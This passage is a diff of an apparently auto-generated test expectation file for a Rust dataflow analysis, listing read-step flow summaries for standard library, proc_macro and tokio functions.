lang:core::_::::map_unchecked | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_unchecked_mut | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_unchecked_mut | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | Range.end | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::Range::end] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | Range.start | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::Range::start] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_err_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_err_and | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_ok_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_ok_and | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map | @@ -1694,6 +3092,11 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::or_else | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::unwrap_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::unwrap_or_else | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::call | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:core::_::::call | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_err | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_ok | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | Context.local_waker | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::task::wake::Context::local_waker] in lang:core::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | Context.waker | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::task::wake::Context::waker] in lang:core::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::clone_from | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::clone_from | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::index | @@ -1701,6 +3104,8 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::mem::copy | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::mem::copy | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::mem::replace | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::mem::replace | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::mem::take | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::mem::take | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | Big32x40.base | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::base] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | +| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::num::bignum::Big32x40::size] in lang:core::_::crate::num::flt2dec::strategy::dragon::mul_pow10 | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::panic::abort_unwind | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::crate::panic::abort_unwind | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::ptr::read | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::ptr::read | | file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::ptr::read_unaligned | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::ptr::read_unaligned | @@ -1716,11 +3121,22 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::::decode | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:proc_macro::_::::decode | | file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::::decode | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:proc_macro::_::::decode | | file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::crate::bridge::client::state::with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:proc_macro::_::crate::bridge::client::state::with | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::clone_from | Cursor.inner | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::io::cursor::Cursor::inner] in lang:std::_::::clone_from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::clone_from | Cursor.pos | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::io::cursor::Cursor::pos] in lang:std::_::::clone_from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::seek | Start | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::io::SeekFrom::Start(0)] in lang:std::_::::seek | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | IntoInnerError(1) | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::io::buffered::IntoInnerError(1)] in lang:std::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:std::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from_str | PathBuf | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::path::PathBuf::inner] in lang:std::_::::from_str | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | SendError | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::mpsc::SendError(0)] in lang:std::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | SendError | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::mpsc::SendError(0)] in lang:std::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::wait_timeout_while | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::wait_timeout_while | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::wait_while | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::wait_while | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::downgrade | RwLockWriteGuard.lock | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::rwlock::RwLockWriteGuard::lock] in lang:std::_::::downgrade | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::bind | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::bind | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::connect | @@ -1729,12 +3145,17 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::bind | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::connect | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::connect | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | AnonPipe | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sys::pal::unix::pipe::AnonPipe(0)] in lang:std::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | File | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sys::pal::unix::fs::File(0)] in lang:std::_::::from | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:std::_::::from | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::try_with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::::try_with | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::::with | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::with_borrow | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::::with_borrow | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::::with_borrow_mut | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::::with_borrow_mut | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::io::default_read_vectored | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::io::default_read_vectored | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::io::default_write_vectored | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::io::default_write_vectored | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sync::poison::mutex::guard_lock | MutexGuard.lock | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock] in lang:std::_::crate::sync::poison::mutex::guard_lock | +| file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sync::poison::mutex::guard_poison | MutexGuard.lock | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::sync::poison::mutex::MutexGuard::lock] in lang:std::_::crate::sync::poison::mutex::guard_poison | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sys::backtrace::__rust_begin_short_backtrace | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::sys::backtrace::__rust_begin_short_backtrace | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sys::backtrace::__rust_end_short_backtrace | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::sys::backtrace::__rust_end_short_backtrace | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sys_common::ignore_notfound | Err | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Err(0)] in lang:std::_::crate::sys_common::ignore_notfound | @@ -1830,12 +3251,15 @@ readStep | file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::blocking::block_in_place | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::blocking::block_in_place | | file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::budget | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::budget | | file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::with_unconstrained | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::with_unconstrained | +| file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::::from_contiguous_raw_parts_in | Range.start | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::ops::range::Range::start] in lang:alloc::_::::from_contiguous_raw_parts_in | | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::crate::collections::btree::mem::replace | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::crate::collections::btree::mem::replace | | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::crate::collections::btree::mem::take_mut | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::crate::collections::btree::mem::take_mut | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::<&mut _ as crate::iter::traits::double_ended::DoubleEndedIteratorRefSpec>::spec_rfold | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::<&mut _ as crate::iter::traits::iterator::IteratorRefSpec>::spec_fold | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::::fold | +| file://:0:0:0:0 | [summary param] 1 in lang:core::_::::new_unchecked | Range.end | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::ops::range::Range::end] in lang:core::_::::new_unchecked | +| file://:0:0:0:0 | [summary param] 1 in lang:core::_::::new_unchecked | Range.start | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::ops::range::Range::start] in lang:core::_::::new_unchecked | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::::fold | @@ -1883,7 +3307,21 @@ readStep | file://:0:0:0:0 | [summary param] 1 in lang:core::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::crate::array::drain::drain_array_with | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::crate::array::drain::drain_array_with | +| file://:0:0:0:0 | [summary param] 1 in lang:core::_::crate::slice::index::range | RangeTo | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::ops::range::RangeTo::end] in lang:core::_::crate::slice::index::range | +| file://:0:0:0:0 | [summary param] 1 in lang:core::_::crate::slice::index::try_range | RangeTo | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::ops::range::RangeTo::end] in lang:core::_::crate::slice::index::try_range | | file://:0:0:0:0 | [summary param] 1 in lang:core::_::crate::slice::sort::shared::find_existing_run | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:core::_::crate::slice::sort::shared::find_existing_run | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | HandleStore.FreeFunctions | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | HandleStore.SourceFile | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | HandleStore.TokenStream | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&crate::bridge::Marked as crate::bridge::rpc::Decode>::decode | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | HandleStore.FreeFunctions | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::FreeFunctions] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | HandleStore.SourceFile | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::SourceFile] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | HandleStore.TokenStream | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::bridge::server::HandleStore::TokenStream] in lang:proc_macro::_::<&mut crate::bridge::Marked as crate::bridge::rpc::DecodeMut>::decode | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | TokenStream | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::TokenStream(0)] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[1].Field[0] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | Span | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::Span(0)] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[1].Field[0] in lang:proc_macro::_::::new | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new_raw | Span | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::Span(0)] in lang:proc_macro::_::::new_raw | +| file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::::new_raw | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[1].Field[0] in lang:proc_macro::_::::new_raw | | file://:0:0:0:0 | [summary param] 1 in lang:proc_macro::_::crate::bridge::client::state::set | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:proc_macro::_::crate::bridge::client::state::set | | file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:std::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::::fold | @@ -1931,6 +3369,10 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::clone_into | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::<_ as crate::borrow::ToOwned>::to_owned | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<_ as crate::borrow::ToOwned>::to_owned | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::deref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::deref | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::into_owned | Owned | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::borrow::Cow::Owned(0)] in lang:alloc::_::::into_owned | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::to_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::to_mut | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::borrow_mut | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::as_mut | @@ -1946,24 +3388,191 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::index | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::index_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::index_mut | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_bytes | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:alloc::_::::as_bytes | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::kind | TryReserveError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::TryReserveError::kind] in lang:alloc::_::::kind | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | BinaryHeap | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::as_into_iter | IntoIter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::IntoIter::iter] in lang:alloc::_::::as_into_iter | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::Iter::iter] in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | BTreeMap.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::extract_if_inner | BTreeMap.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::extract_if_inner | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter | BTreeMap.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::length] in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter_mut | BTreeMap.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::length] in lang:alloc::_::::iter_mut | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | BTreeMap.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::length] in lang:alloc::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::split_off | BTreeMap.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::peek_next | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_next | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::peek_prev | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_prev | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::prev | Cursor.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::prev | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::with_mutable_key | CursorMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMut::inner] in lang:alloc::_::::with_mutable_key | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | CursorMutKey.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::prev | CursorMutKey.current | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::prev | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::next | ExtractIfInner.cur_leaf_edge | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge] in lang:alloc::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | ExtractIfInner.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::length] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | IntoIter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IntoIter::length] in lang:alloc::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | IntoIter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IntoIter::length] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter | IntoIter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IntoIter::length] in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::clone | Iter.range | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::range] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::iter | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::len | Keys | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner] in lang:alloc::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:alloc::_::::size_hint | Keys | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner] in lang:alloc::_::::size_hint | +| file://:0:0:0:0 